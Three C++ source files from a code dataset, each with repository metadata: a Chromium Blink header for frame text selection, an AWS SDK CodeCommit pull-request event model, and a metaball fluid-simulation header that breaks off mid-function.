third_party/blink/renderer/core/editing/frame_selection.h
cangulcan/src
2b8388091c71e442910a21ada3d97ae8bc1845d3
[ "BSD-3-Clause" ]
338
2020-04-18T08:03:10.000Z
2022-03-29T12:33:22.000Z
/* * Copyright (C) 2004, 2005, 2006, 2007, 2008, 2009, 2010 Apple Inc. All rights * reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE COMPUTER, INC. OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef THIRD_PARTY_BLINK_RENDERER_CORE_EDITING_FRAME_SELECTION_H_ #define THIRD_PARTY_BLINK_RENDERER_CORE_EDITING_FRAME_SELECTION_H_ #include <memory> #include "base/macros.h" #include "base/optional.h" #include "third_party/blink/renderer/core/core_export.h" #include "third_party/blink/renderer/core/dom/synchronous_mutation_observer.h" #include "third_party/blink/renderer/core/editing/forward.h" #include "third_party/blink/renderer/core/editing/set_selection_options.h" #include "third_party/blink/renderer/platform/geometry/int_rect.h" #include "third_party/blink/renderer/platform/geometry/layout_rect.h" #include "third_party/blink/renderer/platform/heap/handle.h" #include "third_party/blink/renderer/platform/scroll/scroll_alignment.h" namespace blink { class DisplayItemClient; class Element; class LayoutBlock; class LocalFrame; class FrameCaret; class GranularityStrategy; class GraphicsContext; class NGPaintFragment; class Range; class SelectionEditor; class LayoutSelection; enum class SelectionModifyAlteration; enum class SelectionModifyDirection; enum class SelectionState; class TextIteratorBehavior; struct PaintInvalidatorContext; enum RevealExtentOption { kRevealExtent, kDoNotRevealExtent }; enum class CaretVisibility; enum class HandleVisibility { kNotVisible, kVisible }; enum class SelectLineBreak { kNotSelected, kSelected }; // This is return type of ComputeLayoutSelectionStatus(paintfragment). // This structure represents how the fragment is selected. // |start|, |end| : Selection start/end offset. This offset is based on // the text of NGInlineNode of a parent block thus // |fragemnt.StartOffset <= start <= end <= fragment.EndOffset|. // |start| == |end| means this fragment is not selected. // |line_break| : This value represents If this fragment is selected and // selection wraps line break. struct LayoutSelectionStatus { STACK_ALLOCATED(); LayoutSelectionStatus(unsigned passed_start, unsigned passed_end, SelectLineBreak passed_line_break) : start(passed_start), end(passed_end), line_break(passed_line_break) { DCHECK_LE(start, end); } bool operator==(const LayoutSelectionStatus& other) const { return start == other.start && end == other.end && line_break == other.line_break; } unsigned start; unsigned end; SelectLineBreak line_break; }; class CORE_EXPORT FrameSelection final : public GarbageCollectedFinalized<FrameSelection>, public SynchronousMutationObserver { USING_GARBAGE_COLLECTED_MIXIN(FrameSelection); public: static FrameSelection* Create(LocalFrame& frame) { return new FrameSelection(frame); } ~FrameSelection(); bool IsAvailable() const { return LifecycleContext(); } // You should not call |document()| when |!isAvailable()|. Document& GetDocument() const; LocalFrame* GetFrame() const { return frame_; } Element* RootEditableElementOrDocumentElement() const; size_t CharacterIndexForPoint(const IntPoint&) const; // An implementation of |WebFrame::moveCaretSelection()| void MoveCaretSelection(const IntPoint&); VisibleSelection ComputeVisibleSelectionInDOMTree() const; VisibleSelectionInFlatTree ComputeVisibleSelectionInFlatTree() const; // TODO(editing-dev): We should replace // |computeVisibleSelectionInDOMTreeDeprecated()| with update layout and // |computeVisibleSelectionInDOMTree()| to increase places hoisting update // layout. VisibleSelection ComputeVisibleSelectionInDOMTreeDeprecated() const; void SetSelection(const SelectionInDOMTree&, const SetSelectionOptions&); void SetSelectionAndEndTyping(const SelectionInDOMTree&); void SelectAll(SetSelectionBy); void SelectAll(); void SelectSubString(const Element&, int offset, int count); void Clear(); bool IsHidden() const; // TODO(tkent): These two functions were added to fix crbug.com/695211 without // changing focus behavior. Once we fix crbug.com/690272, we can remove these // functions. // setSelectionDeprecated() returns true if didSetSelectionDeprecated() should // be called. bool SetSelectionDeprecated(const SelectionInDOMTree&, const SetSelectionOptions&); void DidSetSelectionDeprecated(const SetSelectionOptions&); // Call this after doing user-triggered selections to make it easy to delete // the frame you entirely selected. void SelectFrameElementInParentIfFullySelected(); bool Contains(const LayoutPoint&); bool Modify(SelectionModifyAlteration, SelectionModifyDirection, TextGranularity, SetSelectionBy); // Moves the selection extent based on the selection granularity strategy. // This function does not allow the selection to collapse. If the new // extent is resolved to the same position as the current base, this // function will do nothing. void MoveRangeSelectionExtent(const IntPoint&); void MoveRangeSelection(const IntPoint& base_point, const IntPoint& extent_point, TextGranularity); TextGranularity Granularity() const { return granularity_; } // Returns true if specified layout block should paint caret. This function is // called during painting only. bool ShouldPaintCaret(const LayoutBlock&) const; // Bounds of (possibly transformed) caret in absolute coords IntRect AbsoluteCaretBounds() const; // Returns anchor and focus bounds in absolute coords. // If the selection range is empty, returns the caret bounds. // Note: this updates styles and layout, use cautiously. bool ComputeAbsoluteBounds(IntRect& anchor, IntRect& focus) const; void DidChangeFocus(); SelectionInDOMTree GetSelectionInDOMTree() const; bool IsDirectional() const; void DocumentAttached(Document*); void DidLayout(); bool NeedsLayoutSelectionUpdate() const; void CommitAppearanceIfNeeded(); void SetCaretVisible(bool caret_is_visible); void ScheduleVisualUpdate() const; void ScheduleVisualUpdateForPaintInvalidationIfNeeded() const; // Paint invalidation methods delegating to FrameCaret. void ClearPreviousCaretVisualRect(const LayoutBlock&); void LayoutBlockWillBeDestroyed(const LayoutBlock&); void UpdateStyleAndLayoutIfNeeded(); void InvalidatePaint(const LayoutBlock&, const PaintInvalidatorContext&); void PaintCaret(GraphicsContext&, const LayoutPoint&); // Used to suspend caret blinking while the mouse is down. void SetCaretBlinkingSuspended(bool); bool IsCaretBlinkingSuspended() const; // Focus bool SelectionHasFocus() const; void SetFrameIsFocused(bool); bool FrameIsFocused() const { return focused_; } bool FrameIsFocusedAndActive() const; void PageActivationChanged(); bool IsHandleVisible() const { return is_handle_visible_; } bool ShouldShrinkNextTap() const { return should_shrink_next_tap_; } // Returns true if a word is selected. bool SelectWordAroundCaret(); #ifndef NDEBUG void ShowTreeForThis() const; #endif void SetFocusedNodeIfNeeded(); void NotifyTextControlOfSelectionChange(SetSelectionBy); String SelectedHTMLForClipboard() const; String SelectedText(const TextIteratorBehavior&) const; String SelectedText() const; String SelectedTextForClipboard() const; // This returns last layouted selection bounds of LayoutSelection rather than // SelectionEditor keeps. LayoutRect AbsoluteUnclippedBounds() const; // TODO(tkent): This function has a bug that scrolling doesn't work well in // a case of RangeSelection. crbug.com/443061 void RevealSelection( const ScrollAlignment& = ScrollAlignment::kAlignCenterIfNeeded, RevealExtentOption = kDoNotRevealExtent); void SetSelectionFromNone(); void UpdateAppearance(); bool ShouldShowBlockCursor() const; void SetShouldShowBlockCursor(bool); void CacheRangeOfDocument(Range*); Range* DocumentCachedRange() const; void ClearDocumentCachedRange(); FrameCaret& FrameCaretForTesting() const { return *frame_caret_; } base::Optional<unsigned> LayoutSelectionStart() const; base::Optional<unsigned> LayoutSelectionEnd() const; void ClearLayoutSelection(); LayoutSelectionStatus ComputeLayoutSelectionStatus( const NGPaintFragment&) const; void Trace(blink::Visitor*) override; private: friend class CaretDisplayItemClientTest; friend class FrameSelectionTest; friend class PaintControllerPaintTestBase; friend class SelectionControllerTest; explicit FrameSelection(LocalFrame&); const DisplayItemClient& CaretDisplayItemClientForTesting() const; // Note: We have |selectionInFlatTree()| for unit tests, we should // use |visibleSelection<EditingInFlatTreeStrategy>()|. VisibleSelectionInFlatTree GetSelectionInFlatTree() const; void NotifyAccessibilityForSelectionChange(); void NotifyCompositorForSelectionChange(); void NotifyEventHandlerForSelectionChange(); void FocusedOrActiveStateChanged(); GranularityStrategy* GetGranularityStrategy(); IntRect ComputeRectToScroll(RevealExtentOption); void MoveRangeSelectionInternal(const SelectionInDOMTree&, TextGranularity); // Implementation of |SynchronousMutationObserver| member functions. void ContextDestroyed(Document*) final; void NodeChildrenWillBeRemoved(ContainerNode&) final; void NodeWillBeRemoved(Node&) final; Member<LocalFrame> frame_; const Member<LayoutSelection> layout_selection_; const Member<SelectionEditor> selection_editor_; TextGranularity granularity_; LayoutUnit x_pos_for_vertical_arrow_navigation_; bool focused_ : 1; bool is_handle_visible_ = false; // TODO(editing-dev): We should change is_directional_ type to enum. // as directional can have three values forward, backward or directionless. bool is_directional_; bool should_shrink_next_tap_ = false; // Controls text granularity used to adjust the selection's extent in // moveRangeSelectionExtent. std::unique_ptr<GranularityStrategy> granularity_strategy_; const Member<FrameCaret> frame_caret_; DISALLOW_COPY_AND_ASSIGN(FrameSelection); }; } // namespace blink #ifndef NDEBUG // Outside the WebCore namespace for ease of invocation from gdb. void showTree(const blink::FrameSelection&); void showTree(const blink::FrameSelection*); #endif #endif // THIRD_PARTY_BLINK_RENDERER_CORE_EDITING_FRAME_SELECTION_H_
36.641745
80
0.774188
[ "geometry" ]
30203018d4f25e5786e4af9ccef73a79204ceb52
15,400
h
C
aws-cpp-sdk-codecommit/include/aws/codecommit/model/PullRequestEvent.h
ploki/aws-sdk-cpp
17074e3e48c7411f81294e2ee9b1550c4dde842c
[ "Apache-2.0" ]
2
2019-03-11T15:50:55.000Z
2020-02-27T11:40:27.000Z
aws-cpp-sdk-codecommit/include/aws/codecommit/model/PullRequestEvent.h
ploki/aws-sdk-cpp
17074e3e48c7411f81294e2ee9b1550c4dde842c
[ "Apache-2.0" ]
null
null
null
aws-cpp-sdk-codecommit/include/aws/codecommit/model/PullRequestEvent.h
ploki/aws-sdk-cpp
17074e3e48c7411f81294e2ee9b1550c4dde842c
[ "Apache-2.0" ]
1
2019-01-18T13:03:55.000Z
2019-01-18T13:03:55.000Z
/* * Copyright 2010-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ #pragma once #include <aws/codecommit/CodeCommit_EXPORTS.h> #include <aws/core/utils/memory/stl/AWSString.h> #include <aws/core/utils/DateTime.h> #include <aws/codecommit/model/PullRequestEventType.h> #include <aws/codecommit/model/PullRequestCreatedEventMetadata.h> #include <aws/codecommit/model/PullRequestStatusChangedEventMetadata.h> #include <aws/codecommit/model/PullRequestSourceReferenceUpdatedEventMetadata.h> #include <aws/codecommit/model/PullRequestMergedStateChangedEventMetadata.h> #include <utility> namespace Aws { namespace Utils { namespace Json { class JsonValue; class JsonView; } // namespace Json } // namespace Utils namespace CodeCommit { namespace Model { /** * <p>Returns information about a pull request event.</p><p><h3>See Also:</h3> <a * href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PullRequestEvent">AWS * API Reference</a></p> */ class AWS_CODECOMMIT_API PullRequestEvent { public: PullRequestEvent(); PullRequestEvent(Aws::Utils::Json::JsonView jsonValue); PullRequestEvent& operator=(Aws::Utils::Json::JsonView jsonValue); Aws::Utils::Json::JsonValue Jsonize() const; /** * <p>The system-generated ID of the pull request.</p> */ inline const Aws::String& GetPullRequestId() const{ return m_pullRequestId; } /** * <p>The system-generated ID of the pull request.</p> */ inline void SetPullRequestId(const Aws::String& value) { m_pullRequestIdHasBeenSet = true; m_pullRequestId = value; } /** * <p>The system-generated ID of the pull request.</p> */ inline void SetPullRequestId(Aws::String&& value) { m_pullRequestIdHasBeenSet = true; m_pullRequestId = std::move(value); } /** * <p>The system-generated ID of the pull request.</p> */ inline void SetPullRequestId(const char* value) { m_pullRequestIdHasBeenSet = true; m_pullRequestId.assign(value); } /** * <p>The system-generated ID of the pull request.</p> */ inline PullRequestEvent& WithPullRequestId(const Aws::String& value) { SetPullRequestId(value); return *this;} /** * <p>The system-generated ID of the pull request.</p> */ inline PullRequestEvent& WithPullRequestId(Aws::String&& value) { SetPullRequestId(std::move(value)); return *this;} /** * <p>The system-generated ID of the pull request.</p> */ inline PullRequestEvent& WithPullRequestId(const char* value) { SetPullRequestId(value); return *this;} /** * <p>The day and time of the pull request event, in timestamp format.</p> */ inline const Aws::Utils::DateTime& GetEventDate() const{ return m_eventDate; } /** * <p>The day and time of the pull request event, in timestamp format.</p> */ inline void SetEventDate(const Aws::Utils::DateTime& value) { m_eventDateHasBeenSet = true; m_eventDate = value; } /** * <p>The day and time of the pull request event, in timestamp format.</p> */ inline void SetEventDate(Aws::Utils::DateTime&& value) { m_eventDateHasBeenSet = true; m_eventDate = std::move(value); } /** * <p>The day and time of the pull request event, in timestamp format.</p> */ inline PullRequestEvent& WithEventDate(const Aws::Utils::DateTime& value) { SetEventDate(value); return *this;} /** * <p>The day and time of the pull request event, in timestamp format.</p> */ inline PullRequestEvent& WithEventDate(Aws::Utils::DateTime&& value) { SetEventDate(std::move(value)); return *this;} /** * <p>The type of the pull request event, for example a status change event * (PULL_REQUEST_STATUS_CHANGED) or update event * (PULL_REQUEST_SOURCE_REFERENCE_UPDATED).</p> */ inline const PullRequestEventType& GetPullRequestEventType() const{ return m_pullRequestEventType; } /** * <p>The type of the pull request event, for example a status change event * (PULL_REQUEST_STATUS_CHANGED) or update event * (PULL_REQUEST_SOURCE_REFERENCE_UPDATED).</p> */ inline void SetPullRequestEventType(const PullRequestEventType& value) { m_pullRequestEventTypeHasBeenSet = true; m_pullRequestEventType = value; } /** * <p>The type of the pull request event, for example a status change event * (PULL_REQUEST_STATUS_CHANGED) or update event * (PULL_REQUEST_SOURCE_REFERENCE_UPDATED).</p> */ inline void SetPullRequestEventType(PullRequestEventType&& value) { m_pullRequestEventTypeHasBeenSet = true; m_pullRequestEventType = std::move(value); } /** * <p>The type of the pull request event, for example a status change event * (PULL_REQUEST_STATUS_CHANGED) or update event * (PULL_REQUEST_SOURCE_REFERENCE_UPDATED).</p> */ inline PullRequestEvent& WithPullRequestEventType(const PullRequestEventType& value) { SetPullRequestEventType(value); return *this;} /** * <p>The type of the pull request event, for example a status change event * (PULL_REQUEST_STATUS_CHANGED) or update event * (PULL_REQUEST_SOURCE_REFERENCE_UPDATED).</p> */ inline PullRequestEvent& WithPullRequestEventType(PullRequestEventType&& value) { SetPullRequestEventType(std::move(value)); return *this;} /** * <p>The Amazon Resource Name (ARN) of the user whose actions resulted in the * event. Examples include updating the pull request with additional commits or * changing the status of a pull request.</p> */ inline const Aws::String& GetActorArn() const{ return m_actorArn; } /** * <p>The Amazon Resource Name (ARN) of the user whose actions resulted in the * event. Examples include updating the pull request with additional commits or * changing the status of a pull request.</p> */ inline void SetActorArn(const Aws::String& value) { m_actorArnHasBeenSet = true; m_actorArn = value; } /** * <p>The Amazon Resource Name (ARN) of the user whose actions resulted in the * event. Examples include updating the pull request with additional commits or * changing the status of a pull request.</p> */ inline void SetActorArn(Aws::String&& value) { m_actorArnHasBeenSet = true; m_actorArn = std::move(value); } /** * <p>The Amazon Resource Name (ARN) of the user whose actions resulted in the * event. Examples include updating the pull request with additional commits or * changing the status of a pull request.</p> */ inline void SetActorArn(const char* value) { m_actorArnHasBeenSet = true; m_actorArn.assign(value); } /** * <p>The Amazon Resource Name (ARN) of the user whose actions resulted in the * event. Examples include updating the pull request with additional commits or * changing the status of a pull request.</p> */ inline PullRequestEvent& WithActorArn(const Aws::String& value) { SetActorArn(value); return *this;} /** * <p>The Amazon Resource Name (ARN) of the user whose actions resulted in the * event. Examples include updating the pull request with additional commits or * changing the status of a pull request.</p> */ inline PullRequestEvent& WithActorArn(Aws::String&& value) { SetActorArn(std::move(value)); return *this;} /** * <p>The Amazon Resource Name (ARN) of the user whose actions resulted in the * event. Examples include updating the pull request with additional commits or * changing the status of a pull request.</p> */ inline PullRequestEvent& WithActorArn(const char* value) { SetActorArn(value); return *this;} /** * <p>Information about the source and destination branches for the pull * request.</p> */ inline const PullRequestCreatedEventMetadata& GetPullRequestCreatedEventMetadata() const{ return m_pullRequestCreatedEventMetadata; } /** * <p>Information about the source and destination branches for the pull * request.</p> */ inline void SetPullRequestCreatedEventMetadata(const PullRequestCreatedEventMetadata& value) { m_pullRequestCreatedEventMetadataHasBeenSet = true; m_pullRequestCreatedEventMetadata = value; } /** * <p>Information about the source and destination branches for the pull * request.</p> */ inline void SetPullRequestCreatedEventMetadata(PullRequestCreatedEventMetadata&& value) { m_pullRequestCreatedEventMetadataHasBeenSet = true; m_pullRequestCreatedEventMetadata = std::move(value); } /** * <p>Information about the source and destination branches for the pull * request.</p> */ inline PullRequestEvent& WithPullRequestCreatedEventMetadata(const PullRequestCreatedEventMetadata& value) { SetPullRequestCreatedEventMetadata(value); return *this;} /** * <p>Information about the source and destination branches for the pull * request.</p> */ inline PullRequestEvent& WithPullRequestCreatedEventMetadata(PullRequestCreatedEventMetadata&& value) { SetPullRequestCreatedEventMetadata(std::move(value)); return *this;} /** * <p>Information about the change in status for the pull request event.</p> */ inline const PullRequestStatusChangedEventMetadata& GetPullRequestStatusChangedEventMetadata() const{ return m_pullRequestStatusChangedEventMetadata; } /** * <p>Information about the change in status for the pull request event.</p> */ inline void SetPullRequestStatusChangedEventMetadata(const PullRequestStatusChangedEventMetadata& value) { m_pullRequestStatusChangedEventMetadataHasBeenSet = true; m_pullRequestStatusChangedEventMetadata = value; } /** * <p>Information about the change in status for the pull request event.</p> */ inline void SetPullRequestStatusChangedEventMetadata(PullRequestStatusChangedEventMetadata&& value) { m_pullRequestStatusChangedEventMetadataHasBeenSet = true; m_pullRequestStatusChangedEventMetadata = std::move(value); } /** * <p>Information about the change in status for the pull request event.</p> */ inline PullRequestEvent& WithPullRequestStatusChangedEventMetadata(const PullRequestStatusChangedEventMetadata& value) { SetPullRequestStatusChangedEventMetadata(value); return *this;} /** * <p>Information about the change in status for the pull request event.</p> */ inline PullRequestEvent& WithPullRequestStatusChangedEventMetadata(PullRequestStatusChangedEventMetadata&& value) { SetPullRequestStatusChangedEventMetadata(std::move(value)); return *this;} /** * <p>Information about the updated source branch for the pull request event. </p> */ inline const PullRequestSourceReferenceUpdatedEventMetadata& GetPullRequestSourceReferenceUpdatedEventMetadata() const{ return m_pullRequestSourceReferenceUpdatedEventMetadata; } /** * <p>Information about the updated source branch for the pull request event. </p> */ inline void SetPullRequestSourceReferenceUpdatedEventMetadata(const PullRequestSourceReferenceUpdatedEventMetadata& value) { m_pullRequestSourceReferenceUpdatedEventMetadataHasBeenSet = true; m_pullRequestSourceReferenceUpdatedEventMetadata = value; } /** * <p>Information about the updated source branch for the pull request event. </p> */ inline void SetPullRequestSourceReferenceUpdatedEventMetadata(PullRequestSourceReferenceUpdatedEventMetadata&& value) { m_pullRequestSourceReferenceUpdatedEventMetadataHasBeenSet = true; m_pullRequestSourceReferenceUpdatedEventMetadata = std::move(value); } /** * <p>Information about the updated source branch for the pull request event. </p> */ inline PullRequestEvent& WithPullRequestSourceReferenceUpdatedEventMetadata(const PullRequestSourceReferenceUpdatedEventMetadata& value) { SetPullRequestSourceReferenceUpdatedEventMetadata(value); return *this;} /** * <p>Information about the updated source branch for the pull request event. </p> */ inline PullRequestEvent& WithPullRequestSourceReferenceUpdatedEventMetadata(PullRequestSourceReferenceUpdatedEventMetadata&& value) { SetPullRequestSourceReferenceUpdatedEventMetadata(std::move(value)); return *this;} /** * <p>Information about the change in mergability state for the pull request * event.</p> */ inline const PullRequestMergedStateChangedEventMetadata& GetPullRequestMergedStateChangedEventMetadata() const{ return m_pullRequestMergedStateChangedEventMetadata; } /** * <p>Information about the change in mergability state for the pull request * event.</p> */ inline void SetPullRequestMergedStateChangedEventMetadata(const PullRequestMergedStateChangedEventMetadata& value) { m_pullRequestMergedStateChangedEventMetadataHasBeenSet = true; m_pullRequestMergedStateChangedEventMetadata = value; } /** * <p>Information about the change in mergability state for the pull request * event.</p> */ inline void SetPullRequestMergedStateChangedEventMetadata(PullRequestMergedStateChangedEventMetadata&& value) { m_pullRequestMergedStateChangedEventMetadataHasBeenSet = true; m_pullRequestMergedStateChangedEventMetadata = std::move(value); } /** * <p>Information about the change in mergability state for the pull request * event.</p> */ inline PullRequestEvent& WithPullRequestMergedStateChangedEventMetadata(const PullRequestMergedStateChangedEventMetadata& value) { SetPullRequestMergedStateChangedEventMetadata(value); return *this;} /** * <p>Information about the change in mergability state for the pull request * event.</p> */ inline PullRequestEvent& WithPullRequestMergedStateChangedEventMetadata(PullRequestMergedStateChangedEventMetadata&& value) { SetPullRequestMergedStateChangedEventMetadata(std::move(value)); return *this;} private: Aws::String m_pullRequestId; bool m_pullRequestIdHasBeenSet; Aws::Utils::DateTime m_eventDate; bool m_eventDateHasBeenSet; PullRequestEventType m_pullRequestEventType; bool m_pullRequestEventTypeHasBeenSet; Aws::String m_actorArn; bool m_actorArnHasBeenSet; PullRequestCreatedEventMetadata m_pullRequestCreatedEventMetadata; bool m_pullRequestCreatedEventMetadataHasBeenSet; PullRequestStatusChangedEventMetadata m_pullRequestStatusChangedEventMetadata; bool m_pullRequestStatusChangedEventMetadataHasBeenSet; PullRequestSourceReferenceUpdatedEventMetadata m_pullRequestSourceReferenceUpdatedEventMetadata; bool m_pullRequestSourceReferenceUpdatedEventMetadataHasBeenSet; PullRequestMergedStateChangedEventMetadata m_pullRequestMergedStateChangedEventMetadata; bool m_pullRequestMergedStateChangedEventMetadataHasBeenSet; }; } // namespace Model } // namespace CodeCommit } // namespace Aws
44.380403
261
0.740325
[ "model" ]
302294addbeacd26fe1f7bd56f3c2eafa4806a16
26,678
h
C
src/metaball.h
Alexander-Hjelm/metaballs-glfw
c75452df5d844fc1d6b1f4ed1607e70588a73ab4
[ "MIT" ]
null
null
null
src/metaball.h
Alexander-Hjelm/metaballs-glfw
c75452df5d844fc1d6b1f4ed1607e70588a73ab4
[ "MIT" ]
null
null
null
src/metaball.h
Alexander-Hjelm/metaballs-glfw
c75452df5d844fc1d6b1f4ed1607e70588a73ab4
[ "MIT" ]
null
null
null
#pragma once #include <glm/glm.hpp> #include <glm/gtx/string_cast.hpp> #include <iostream> #include <vector> #include <cmath> // Global constant const glm::vec3 gravity_force = glm::vec3(0.0f, -9.8f, 0.0f); struct Metaball { public: glm::vec3 position = glm::vec3(0,0,0); glm::vec3 velocity = glm::vec3(0,0,0); glm::vec3 acceleration = glm::vec3(0,0,0); float density = 0.0f; float radius = 1.0f; float mass = 1.0f; float pressure = 0.0f; const float velocity_limit = 10.0; const float acceleration_limit = 10.0; public: Metaball() {} Metaball(glm::vec3 pos, float r, glm::vec3 velocity) : position(pos), radius(r), velocity(glm::normalize(velocity)) {} Metaball(glm::vec3 pos, float r, glm::vec3 velocity, float m) : position(pos), radius(r), velocity(glm::normalize(velocity)), mass(m) {} void Animate(float deltaTime) { velocity += acceleration * deltaTime; LimitVelocity(velocity_limit); position += velocity * deltaTime; } /////////// PHYSICS HELPERS //////////// // Apply a force to the object. This factors in mass. A bigger mass means a bigger force is needed to yield the same change in velocity. void ApplyForce(glm::vec3 force, float deltaTime) { ApplyAcceleration(force/mass, deltaTime); } // Apply an acceleration to the object. Useful for uniform forces like gravity, where the object's mass does not matter. void ApplyAcceleration(glm::vec3 acceleration, float deltaTime) { velocity += acceleration * deltaTime; } // Restrict the velocity to a maximum value void LimitVelocity(float terminalVelocity) { float vMin = glm::min(glm::length(velocity), terminalVelocity); velocity = glm::normalize(velocity)*vMin; } // Reflect the velocity vector along the given surface normal. // The elasicity property determines how much energy is preserved after the collision, and should be between 0.0 -> 1.0. void Bounce(glm::vec3 surfaceNormal, float elasticity) { surfaceNormal = glm::normalize(surfaceNormal); glm::vec3 normalProjected = glm::dot(velocity, surfaceNormal) * surfaceNormal; glm::vec3 newDir = velocity - 2.0f*normalProjected; velocity = newDir * elasticity; } }; float RandomFloat(float a, float b) { float random = ((float) rand()) / (float) RAND_MAX; float diff = b - a; float r = random * diff; return a + r; } struct PotentialField { public: glm::vec3 minCorner; glm::vec3 maxCorner; unsigned int LOD; // Number of voxel in each edge float* fieldData; size_t fieldSize; unsigned int voxelCount; float voxelHalfLength; float isoLevel = 100.0f; std::vector<Metaball> metaballs; public: PotentialField() : minCorner(glm::vec3(-1, -1, -1)), maxCorner(glm::vec3(1, 1, 1)), LOD(10), fieldData(nullptr), fieldSize(0), voxelCount(1000), voxelHalfLength(0) { ConstructVertexBuffer(); } PotentialField(glm::vec3 min, glm::vec3 max, unsigned int count) : minCorner(min), maxCorner(max), LOD(count), fieldData(nullptr), fieldSize(0), voxelCount(count * count * count), voxelHalfLength(0) { assert(min.x - max.x != min.y - max.y != min.z - max.z); // Potential field must be a cube with equal side length! ConstructVertexBuffer(); } ~PotentialField() { if(fieldData) delete[] fieldData; fieldData = nullptr; } void ConstructVertexBuffer() { fieldData = new float[voxelCount * 3]; fieldSize = voxelCount * 3 * sizeof(float); voxelHalfLength = (maxCorner.x - minCorner.x) / LOD / 2.0f; for(int i = 0; i < LOD; ++i) { for(int j = 0; j < LOD; ++j) { for(int k = 0; k < LOD; ++k) { fieldData[(i*LOD*LOD + j*LOD + k) * 3 + 0] = minCorner.x + i * 2 * voxelHalfLength + voxelHalfLength; fieldData[(i*LOD*LOD + j*LOD + k) * 3 + 1] = minCorner.y + j * 2 * voxelHalfLength + voxelHalfLength; fieldData[(i*LOD*LOD + j*LOD + k) * 3 + 2] = minCorner.z + k * 2 * voxelHalfLength + voxelHalfLength; } } } } void GenerateRandomBalls(int ballCount, float r) { metaballs.clear(); for(int i = 0; i < ballCount; ++i) { metaballs.push_back(Metaball( glm::vec3( RandomFloat(0.0, 1.0), RandomFloat(0.0, 1.0), RandomFloat(0.0, 1.0) ), // Position r, // Radius glm::vec3( // Forward RandomFloat(-1.0, 1.0), RandomFloat(-1.0, 1.0), RandomFloat(-1.0, 1.0) ) )); } } void BuildTextureArray(float textureArray[][4]) { for(int i = 0; i < metaballs.size(); ++i) { Metaball ball = metaballs[i]; textureArray[i][0] = ball.position.x; textureArray[i][1] = ball.position.y; textureArray[i][2] = ball.position.z; textureArray[i][3] = ball.radius; } } void Animate(float deltaTime) { const float elasticity_xz = 0.4; const float elasticity_y = 0.6; for(int i = 0; i < metaballs.size(); ++i) { metaballs[i].Animate(deltaTime); // Upper and lower bound // Bounce, y-direction if(metaballs[i].position.y < 0.0f) { metaballs[i].position.y = 0.0f; // metaballs[i].Bounce(glm::vec3(0.0f, 1.0f, 0.0f), elasticity_y); } if(metaballs[i].position.y > 1.0f) { metaballs[i].position.y = 1.0f; // metaballs[i].Bounce(glm::vec3(0.0f, -1.0f, 0.0f), elasticity_y); } // Bounce, x-direction if(metaballs[i].position.x < 0.0f) { metaballs[i].position.x = 0.0f; metaballs[i].Bounce(glm::vec3(1.0f, 0.0f, 0.0f), elasticity_xz); } if(metaballs[i].position.x > 1.0f) { metaballs[i].position.x = 1.0f; metaballs[i].Bounce(glm::vec3(-1.0f, 0.0f, 0.0f), elasticity_xz); } // Bounce, z-direction if(metaballs[i].position.z < 0.0f) { metaballs[i].position.z = 0.0f; metaballs[i].Bounce(glm::vec3(0.0f, 0.0f, 1.0f), elasticity_xz); } if(metaballs[i].position.z > 1.0f) { metaballs[i].position.z = 1.0f; metaballs[i].Bounce(glm::vec3(0.0f, 0.0f, -1.0f), elasticity_xz); } } // Smoothed Particle Hydrodynamics Calculation SPH(); } // Doing SPH calculation void SPH() { const float smoothingRadius = 0.1f; const float pressureConstant = 20.0f; const float initialDensity = 0.0f; // In order to know a particle's acceleration, we must know its density and pressure first. for(int i = 0; i < metaballs.size(); ++i) { // Density for(int j = 0; j < metaballs.size(); ++j) { // Same metaball, skip this comparison. if(i==j) continue; float dist = glm::distance(metaballs[i].position, metaballs[j].position); metaballs[i].density += metaballs[j].mass * Poly6SmoothingKernel(dist, smoothingRadius); } metaballs[i].density = std::fmax(metaballs[i].density, initialDensity); // Pressure metaballs[i].pressure = pressureConstant * (metaballs[i].density - initialDensity); } // Finally, find the acceleration of this particle. for(int i = 0; i < metaballs.size(); ++i) { metaballs[i].acceleration = glm::vec3(0, 0, 0); for(int j = 0; j < metaballs.size(); ++j) { // Same metaball, skip this comparison. if(i==j) continue; float mi = metaballs[i].mass; float mj = metaballs[j].mass; float Pi = metaballs[i].pressure; float Pj = metaballs[j].pressure; float pi = metaballs[i].density; float pj = metaballs[j].density; float dist = glm::distance(metaballs[i].position, metaballs[j].position); if(dist == 0.0) { continue; } glm::vec3 normalizedDirection = glm::normalize(metaballs[i].position - metaballs[j].position); metaballs[i].acceleration -= (mj / mi) * ((Pi+Pj) / 2*pi*pj) * SpikyGradientKernel(dist, smoothingRadius) * normalizedDirection; } // Apply gravity metaballs[i].acceleration += gravity_force; } } //===================================== // W_ij = 315*(h^2-r^2)^3 / 64*pi*h^9 //===================================== float Poly6SmoothingKernel(float r, float h) { return 315 * std::pow(h*h - r*r, 3) / 64 